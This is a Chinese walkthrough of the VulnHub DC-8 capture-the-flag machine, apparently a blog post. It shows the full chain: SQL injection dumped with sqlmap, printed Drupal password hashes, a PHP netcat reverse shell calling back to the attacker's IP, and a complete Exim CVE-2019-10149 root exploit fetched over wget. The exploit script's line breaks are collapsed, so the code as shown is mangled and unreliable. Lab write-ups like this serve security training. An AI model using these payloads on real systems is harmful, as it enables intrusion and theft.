目录
- 0x00 准备
- 0x01 主机信息收集
- 0x02 站点信息收集
- 0x03 漏洞查找与利用
- 1. 发现sql注入点
- 2. sqlmap跑数据
- 3. John解密
- 4. 反弹shell
- 5. exim4提权
- 0x04 总结
0x00 准备
下载链接:https://download.vulnhub.com/dc/DC-8.zip
介绍:
This challenge is a bit of a hybrid between being an actual challenge, and being a “proof of concept” as to whether two-factor authentication installed and configured on Linux can prevent the Linux server from being exploited.
这个挑战有点像一个混合体,既是一个实际的挑战,也是一个“概念验证”,即在Linux上安装和配置的双因素身份验证是否可以防止Linux服务器被利用。
The ultimate goal of this challenge is to bypass two-factor authentication, get root and to read the one and only flag.
这个挑战的最终目标是绕过双因素身份验证,获取root并读取唯一的标志。
You probably wouldn’t even know that two-factor authentication was installed and configured unless you attempt to login via SSH, but it’s definitely there and doing it’s job.
除非您尝试通过 SSH 登录,否则您甚至可能不知道已安装并配置了双因素身份验证,但它肯定存在并且正在完成它的工作。
0x01 主机信息收集
kali查询本机ip,执行命令:ifconfig
kali的ip地址:192.168.22.48,eth0
探测目标主机ip,执行命令:netdiscover -i eth0 -r 192.168.22.0/24
目标主机的ip:192.168.22.12
探测目标主机的开放端口,执行命令:nmap -sV -p 1-65535 -A 192.168.22.12
开放了22端口,ssh服务;80端口,并且使用了Drupal7。
0x02 站点信息收集
扫描站点目录,执行命令:dirsearch -u 192.168.22.12
有个user/login。
0x03 漏洞查找与利用
1. 发现sql注入点
访问站点,点击左侧Details里的三个页面,发现URL里的nid参数会发生变化,考虑和数据库有交互。
验证一下是否有sql注入:
构造:http://192.168.22.12/?nid=1’
页面报错。
构造:http://192.168.22.12/?nid=1 and 1=1
页面返回正常。
构造:http://192.168.22.12/?nid=1 and 1=2
页面返回正常,但是和上面返回的页面不同。
通过上面三条语句的回显,判断存在数字型sql注入。
2. sqlmap跑数据
执行命令:sqlmap -u http://192.168.22.12/?nid=1
结果表明,nid这个参数存在注入,并且给出了很多种注入漏洞。
列举数据库名,执行命令:sqlmap -u http://192.168.22.12/?nid=1 --dbs
有两个数据库,d7db 和 information_schema。
先看d7db这个数据库。
列举表名,执行命令:sqlmap -u http://192.168.22.12/?nid=1 -D d7db --tables
找到一个users表。
列举users表的字段名,执行命令:sqlmap -u http://192.168.22.12/?nid=1 -D d7db -T users --columns
发现了name,pass字段。
列举这两个字段的内容,执行命令:sqlmap -u http://192.168.22.12/?nid=1 -D d7db -T users -C name,pass --dump
得到了两组用户名密码。
admin:$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
john:$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF
3. John解密
用户名john的提示已经很明显了。接下里就是用john解密这两个密码。
将上面的内容保存到文件 a.txt 中,执行命令:john a.txt
john账户的密码是turtle。
(admin账户的一直解析不出来)
访问登录页面/user/login,登录这个账户。
4. 反弹shell
在Contact US下面的Edit页面,WEBFORM的From settings可以上传解析php的代码。
先用phpinfo测试一下文件的路径之类的,发现没有提示,也没有回显。
那就不能上传一句话木马了。php代码在保存以后会执行代码,考虑直接反弹shell。
在kali中监听端口9876,执行命令:nc -lvvp 9876
在上面的可以解析php的地方输入代码:
(前面<p>标签里的内容最好不要删掉,是编辑框中自带的,可以当记号)
<p>PPP</p>
<?php
system("nc -e /bin/sh 192.168.22.48 9876");
?>
写入后,点击最下面的save configuration,发现kali中没有监听成功。找一找可能是流程还没结束。发现在Contact Us这里需要提交一些信息。
提交成功后,页面回显了前面提交的反弹shell的php代码。
说明代码执行了。再来看一下,kali中监听端口成功。
5. exim4提权
进入交互式shell:python -c 'import pty;pty.spawn("/bin/bash")'
查找所有具有suid权限的文件:find / -perm -u=s -type f 2>/dev/null
对每个都搜索了一下,发现exim4可以提权,debian发行版(包括Ubuntu)使用exim4作为默认的邮件服务器。
查看exim4的版本:exim4 --version
searchsploit查找相关的漏洞:searchsploit exim
有一个对应版本的本地权限提升(Local Privilege Escalation)
把脚本复制到当前目录比较好操作:cp /usr/share/exploitdb/exploits/linux/local/46996.sh .
可以看一下这个脚本文件的内容:cat 46996.sh
#!/bin/bash#
# raptor_exim_wiz - "The Return of the WIZard" LPE exploit
# Copyright (c) 2019 Marco Ivaldi <raptor@0xdeadbeef.info>
#
# A flaw was found in Exim versions 4.87 to 4.91 (inclusive).
# Improper validation of recipient address in deliver_message()
# function in /src/deliver.c may lead to remote command execution.
# (CVE-2019-10149)
#
# This is a local privilege escalation exploit for "The Return
# of the WIZard" vulnerability reported by the Qualys Security
# Advisory team.
#
# Credits:
# Qualys Security Advisory team (kudos for your amazing research!)
# Dennis 'dhn' Herrmann (/dev/tcp technique)
#
# Usage (setuid method):
# $ id
# uid=1000(raptor) gid=1000(raptor) groups=1000(raptor) [...]
# $ ./raptor_exim_wiz -m setuid
# Preparing setuid shell helper...
# Delivering setuid payload...
# [...]
# Waiting 5 seconds...
# -rwsr-xr-x 1 root raptor 8744 Jun 16 13:03 /tmp/pwned
# # id
# uid=0(root) gid=0(root) groups=0(root)
#
# Usage (netcat method):
# $ id
# uid=1000(raptor) gid=1000(raptor) groups=1000(raptor) [...]
# $ ./raptor_exim_wiz -m netcat
# Delivering netcat payload...
# Waiting 5 seconds...
# localhost [127.0.0.1] 31337 (?) open
# id
# uid=0(root) gid=0(root) groups=0(root)
#
# Vulnerable platforms:
# Exim 4.87 - 4.91
#
# Tested against:
# Exim 4.89 on Debian GNU/Linux 9 (stretch) [exim-4.89.tar.xz]
#METHOD="setuid" # default method
PAYLOAD_SETUID='${run{\x2fbin\x2fsh\t-c\t\x22chown\troot\t\x2ftmp\x2fpwned\x3bchmod\t4755\t\x2ftmp\x2fpwned\x22}}@localhost'
PAYLOAD_NETCAT='${run{\x2fbin\x2fsh\t-c\t\x22nc\t-lp\t31337\t-e\t\x2fbin\x2fsh\x22}}@localhost'# usage instructions
function usage()
{echo "$0 [-m METHOD]"echoecho "-m setuid : use the setuid payload (default)"echo "-m netcat : use the netcat payload"echoexit 1
}# payload delivery
function exploit()
{# connect to localhost:25exec 3<>/dev/tcp/localhost/25# deliver the payloadread -u 3 && echo $REPLYecho "helo localhost" >&3read -u 3 && echo $REPLYecho "mail from:<>" >&3read -u 3 && echo $REPLYecho "rcpt to:<$PAYLOAD>" >&3read -u 3 && echo $REPLYecho "data" >&3read -u 3 && echo $REPLYfor i in {1..31}doecho "Received: $i" >&3doneecho "." >&3read -u 3 && echo $REPLYecho "quit" >&3read -u 3 && echo $REPLY
}# print banner
echo
echo 'raptor_exim_wiz - "The Return of the WIZard" LPE exploit'
echo 'Copyright (c) 2019 Marco Ivaldi <raptor@0xdeadbeef.info>'
echo# parse command line
while [ ! -z "$1" ]; docase $1 in-m) shift; METHOD="$1"; shift;;* ) usage;;esac
done
if [ -z $METHOD ]; thenusage
fi# setuid method
if [ $METHOD = "setuid" ]; then# prepare a setuid shell helper to circumvent bash checksecho "Preparing setuid shell helper..."echo "main(){setuid(0);setgid(0);system(\"/bin/sh\");}" >/tmp/pwned.cgcc -o /tmp/pwned /tmp/pwned.c 2>/dev/nullif [ $? -ne 0 ]; thenecho "Problems compiling setuid shell helper, check your gcc."echo "Falling back to the /bin/sh method."cp /bin/sh /tmp/pwnedfiecho# select and deliver the payloadecho "Delivering $METHOD payload..."PAYLOAD=$PAYLOAD_SETUIDexploitecho# wait for the magic to happen and spawn our shellecho "Waiting 5 seconds..."sleep 5ls -l /tmp/pwned/tmp/pwned# netcat method
elif [ $METHOD = "netcat" ]; then# select and deliver the payloadecho "Delivering $METHOD payload..."PAYLOAD=$PAYLOAD_NETCATexploitecho# wait for the magic to happen and spawn our shellecho "Waiting 5 seconds..."sleep 5nc -v 127.0.0.1 31337# print help
elseusage
fi
可以看到这个脚本执行的话需要传递参数:./46996.sh -m netcat
接下来要做的是把这个脚本上传到靶机的服务器上。
在kali机器上用python创建一个简单的http服务器:python2 -m SimpleHTTPServer 2222
将这个脚本文件上传到靶机的/tmp目录下,因为/tmp目录才有写入权限。
在靶机上执行命令:
cd /tmp
wget http://192.168.22.48:2222/46996.sh
上传成功。
查看这个脚本的权限:ls -l
发现没有执行权限。
给他添加执行权限:chmod 777 46996.sh
执行脚本:./46996.sh -m netcat
拿到flag。
0x04 总结
主机信息收集:
- netdiscover探测目标主机ip。
- nmap探测开放端口和服务。
站点信息收集:
- dirsearch扫描站点的目录结构,发现登录页面。
漏洞利用:
- 找sql注入点。
- sqlmap跑数据库,获取登录的用户名和密码。
- john解密。
- 反弹shell。
- exim4提权。